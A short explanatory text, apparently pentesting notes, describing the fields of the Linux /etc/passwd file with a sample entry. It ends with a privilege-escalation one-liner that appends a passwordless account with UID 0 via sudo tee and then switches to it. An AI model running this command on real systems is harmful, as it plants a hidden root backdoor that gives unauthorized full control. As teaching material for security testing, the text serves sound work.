The /etc/passwd file is a text file with each line describing a user account.
Each line consists of seven fields separated by a colon.
Here is an example of a recording:
jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)5550044,email:/home/jsmith:/bin/sh
The first lines of the file are usually system accounts.
User accounts are often described in the last lines.
This file allows to quickly identify users, applications (tomcat, mysql, www_data,...), their working directories, and whether or not they have access to a shell.
If you have the rights to modify /etc/passwd, you can be root. For example tee with a sudo as root. Add an entry with a UID of 0 (root UID), and an empty password.
echo myroot::0:0:::/bin/bash | sudo tee -a /etc/passwd su myroot